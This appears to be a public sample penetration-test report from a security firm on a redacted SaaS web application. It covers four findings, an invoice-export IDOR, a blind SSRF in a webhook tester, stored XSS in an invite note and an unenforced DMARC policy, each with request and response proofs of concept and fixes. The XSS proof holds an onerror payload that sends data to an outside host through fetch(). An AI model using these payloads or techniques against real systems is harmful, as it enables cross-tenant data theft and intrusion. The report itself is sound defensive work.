

MANUAL SECURITY ASSESSMENT

Web Application Security Review

Prepared for [Redacted B2B SaaS Client] • Target: app.[redacted-client].io

01 Engagement Overview

DOCUMENT REFERENCE	ALC-2026-RPT-042 (Public Sample Edition)
ASSESSMENT	Web Application Security Review
LEAD RESEARCHER	Muhammad Shahzaib ("Mo Shah")
TESTING WINDOW	October 5 to 9, 2026
TARGET SCOPE	<code>https://app.[redacted-client].io</code> Web application <code>https://api.[redacted-client].io/v2/*</code> REST API <code>[redacted-client].io</code> Email domain
AUTHORIZATION	Conducted under written authorization, signed Rules of Engagement (RoE) and a mutual NDA.

02 Executive Summary

Alcyne Tech conducted a manual security assessment of the client's web application, REST API, and primary email domain to uncover business logic flaws, access control bypasses, and server-side vulnerabilities that automated scanners miss.

The platform enforces strong TLS 1.3 encryption, parameterized database queries on login endpoints, and secure password hashing. However, manual testing across authenticated user roles identified **four (4) vulnerabilities**, most notably a **Critical authorization bypass (IDOR)** allowing any logged-in user to download billing invoices belonging to other customer workspaces.

CRITICAL

1

HIGH

1

MEDIUM

1

LOW

1

PASSED

5

03 Summary of Findings

ID	SEVERITY	VULNERABILITY TITLE	AFFECTED COMPONENT
ALC-01	CRITICAL	Broken Object Level Authorization (IDOR) in Invoice Export API	/v2/billing/export
ALC-02	HIGH	Blind Server-Side Request Forgery (SSRF) in Webhook Tester	/v2/webhooks/test
ALC-03	MEDIUM	Stored Cross-Site Scripting (XSS) via Workspace Invite Note	/settings/audit-log
ALC-04	LOW	Unenforced DMARC Policy (p=none) & Missing Framing Headers	DNS & HTTP Headers

04 Test Coverage & Verification Matrix

Every engagement documents the full set of security controls evaluated by hand, so you can see what passed as well as what needs fixing:

SECURITY CONTROL AREA	MANUAL VERIFICATION PERFORMED	OUTCOME
Authentication & Sessions	Tested login rate-limiting, password reset token entropy, multi-factor flows and JWT signature validation.	PASSED
Session & Cookie Security	Verified session invalidation on logout, idle and absolute expiry, and Secure , HttpOnly and SameSite cookie flags.	PASSED
Multi-Tenant Authorization	Tested horizontal isolation between two separate customer workspaces and vertical privilege boundaries between Admin and Member roles.	1 CRITICAL
Database & Command Injection	Manual SQLi, NoSQLi, and OS command injection probing across search, filter, and JSON API parameters.	PASSED
Server-Side Request Handling	Evaluated outbound HTTP dispatchers (webhook testers, URL imports) for internal network reachability and cloud metadata exposure.	1 HIGH
Client-Side & File Uploads	Tested Stored/Reflected XSS, SVG/HTML upload execution, MIME-type validation, and CSRF protections.	1 MEDIUM
Sensitive Data Exposure	Reviewed API responses for over-shared fields, verbose error messages, exposed source maps and debug endpoints.	PASSED
Subdomains & Exposed Files	Checked for dangling DNS records (subdomain takeover) and publicly reachable .git , .env and backup files.	PASSED
Email & Domain Hygiene	Reviewed SPF lookup limits, DKIM selector keys, DMARC policy enforcement, TLS cipher suites, and HTTP security headers.	1 LOW

05 Technical Findings & Remediation

ALC-01: Broken Object Level Authorization (IDOR) in Invoice Export API Category: Access Control & Multi-Tenant Isolation			CRITICAL • CVSS 9.1
AFFECTED ENDPOINT	PARAMETER	AUTH REQUIRED	
GET https://api.[redacted-client].io/v2/billing/export	workspace_id	Yes (Any Basic User)	

PLAIN-LANGUAGE IMPACT

Any logged-in user can download PDF billing invoices (containing customer legal names, physical addresses, tax IDs and billing totals) belonging to **any other company on the platform**. While the API checks that the caller is logged in, it fails to verify that the requested workspace_id belongs to that user's organization.

PROOF OF CONCEPT

Two separate test accounts were created: **Tenant A** (workspace_id: 8841) and **Tenant B** (workspace_id: 8842). Sending a request authenticated with Tenant A's token while specifying workspace_id=8842 returned Tenant B's billing data and signed S3 PDF download URL:

```
# Request sent using Tenant A session token, requesting Tenant B workspace (8842):
GET /v2/billing/export?workspace_id=8842&invoice_id=99201 HTTP/2
Host: api.[redacted-client].io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. [TENANT_A_TOKEN]

# Response returns HTTP 200 OK with Tenant B confidential invoice record:
HTTP/2 200 OK
Content-Type: application/json

{
  "workspace_id": 8842,
  "organization": "[Redacted Tenant B LLC]",
  "billing_contact": "finance@[redacted-tenant-b].com",
  "tax_id": "XX-XXX891",
  "pdf_url": "https://s3.us-east-1.amazonaws.com/[redacted]-billing/8842/inv_99201.pdf?X-Amz-Signature=[REDACTED]"
}
```

RECOMMENDED FIX

Never rely on client-supplied workspace_id query parameters for authorization. Scope the database lookup directly to the organization ID bound to the user's verified server-side session or JWT claim:

```
// Vulnerable lookup: trusts req.query.workspace_id
const invoice = await db.invoices.findOne({ where: { id: req.query.invoice_id, workspace_id: req.query.workspace_id } });

// Patched lookup: enforces authenticated tenant ownership
const invoice = await db.invoices.findOne({
  where: { id: req.query.invoice_id, workspace_id: req.user.session_workspace_id }
});
```

ALC-02: Blind Server-Side Request Forgery (SSRF) in Webhook Tester

Category: Server-Side Request Handling

HIGH • CVSS 8.2

AFFECTED ENDPOINT	PARAMETER	AUTH REQUIRED
POST https://api.[redacted-client].io/v2/webhooks/test	target_url (JSON)	Yes (Workspace Admin)

PLAIN-LANGUAGE IMPACT & PROOF OF CONCEPT

The webhook settings page allows users to send a test payload to a custom URL. Because the backend server fetches the user-supplied URL without blocking internal IP ranges (127.0.0.1 , 10.0.0.0/8 , 169.254.169.254) and echoes raw socket errors back to the browser, an attacker can probe internal services (such as Redis or internal APIs) running behind your firewall:

```
POST /v2/webhooks/test HTTP/2
Host: api.[redacted-client].io
Content-Type: application/json

{"target_url": "http://127.0.0.1:6379/"}

HTTP/2 400 Bad Request
Content-Type: application/json

{
  "delivered": false,
  "exception": "HPE_INVALID_CONSTANT: Parse Error: -ERR unknown command 'POST' (127.0.0.1:6379)"
}
```

RECOMMENDED FIX

- Block Private & Loopback IP Ranges:** Resolve the destination hostname via DNS before connecting and reject any IP matching RFC 1918 private networks (10.0.0.0/8 , 172.16.0.0/12 , 192.168.0.0/16), loopback (127.0.0.0/8), or cloud metadata (169.254.169.254). Disable HTTP redirects on the webhook client.
- Suppress Raw Socket Exceptions:** Return a generic "Webhook delivery failed" error to the client instead of exposing internal network exception strings.

ALC-03: Stored Cross-Site Scripting (XSS) via Workspace Invite

Note

MEDIUM • CVSS 6.4

Category: Client-Side Injection

AFFECTED ENDPOINT	PARAMETER	AUTH REQUIRED
POST /v2/team/invite (Rendered at /settings/audit-log)	welcome_note	Yes (Team Manager)

PLAIN-LANGUAGE IMPACT & PROOF OF CONCEPT

When inviting a team member, the optional `welcome_note` field accepts raw HTML and renders it unescaped inside the Admin Audit Log view (`/settings/audit-log`) via `dangerouslySetInnerHTML` . An attacker with Manager permissions can inject JavaScript that executes inside the session of any Workspace Owner viewing the audit log:

```
POST /v2/team/invite HTTP/2
Host: api.[redacted-client].io
Content-Type: application/json

{
  "email": "test@alcynotech.test",
  "role": "member",
  "welcome_note": "Welcome! <img src=x onerror=fetch('https://poc.alcynotech.test/?d='+document.domain)>"
}
```

RECOMMENDED FIX

Remove `dangerouslySetInnerHTML` when rendering `welcome_note` in the Audit Log table so React escapes HTML characters automatically, or sanitize the string with `DOMPurify` (`DOMPurify.sanitize(note)`) prior to rendering.

ALC-04: Unenforced DMARC Policy (p=none) & Missing Framing Headers

LOW • CVSS 3.7

Category: Email Domain Protection & HTTP Security Headers

AFFECTED ASSETS	CURRENT POLICY	AUTH REQUIRED
_dmarc.[redacted-client].io & app.[redacted-client].io	v=DMARC1; p=none;	No (Public Surface)

PLAIN-LANGUAGE IMPACT

- Email Spoofing & Deliverability Risk:** While SPF and DKIM are configured, the domain's DMARC record is set to `p=none` (monitoring only) with no reporting address (`rua`). External attackers can send spoofed emails appearing to come from `@[redacted-client].io` without receiving mail servers quarantining or rejecting them.
- Missing Clickjacking Restrictions:** Responses from `app.[redacted-client].io` lack both `Content-Security-Policy: frame-ancestors` and `X-Frame-Options` headers, allowing external sites to embed authenticated application pages inside a transparent `<iframe>`.

RECOMMENDED DNS & HEADER CONFIGURATION

```
# 1. Replace current _dmarc.[redacted-client].io TXT record (v=DMARC1; p=none;) with enforced policy:
v=DMARC1; p=quarantine; pct=100; rua=mailto:dmarc@[redacted-client].io; adkim=s; aspf=s;

# 2. Add HTTP Response Headers on app.[redacted-client].io:
Content-Security-Policy: frame-ancestors 'self';
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Content-Type-Options: nosniff
```

06 Prioritized Remediation Roadmap

Recommended engineering actions, in priority order:

PRIORITY	ID	ENGINEERING ACTION ITEM	EST. EFFORT
PRIORITY 1	ALC-01	Scope <code>/v2/billing/export</code> database queries to the session-authenticated workspace ID.	<1 Hour
PRIORITY 2	ALC-02	Block private/loopback IP ranges in the outbound webhook HTTP client and suppress raw socket errors.	2 to 3 Hours
PRIORITY 3	ALC-03	Remove <code>dangerouslySetInnerHTML</code> in the Audit Log component or sanitize with <code>DOMPurify</code> .	<1 Hour
PRIORITY 4	ALC-04	Update <code>_dmarc</code> TXT record to <code>p=quarantine</code> and add <code>frame-ancestors 'self'</code> header.	30 Minutes

Fix verification: once your team has shipped the fix for ALC-01, we re-test it at no extra cost within 30 days of report delivery and confirm the result in writing.

Ready to test your web application or domain?

Request a free passive security check or scope an assessment at alcynetechnology.com

info@alcynetechnology.com
alcynetechnology.com/#contact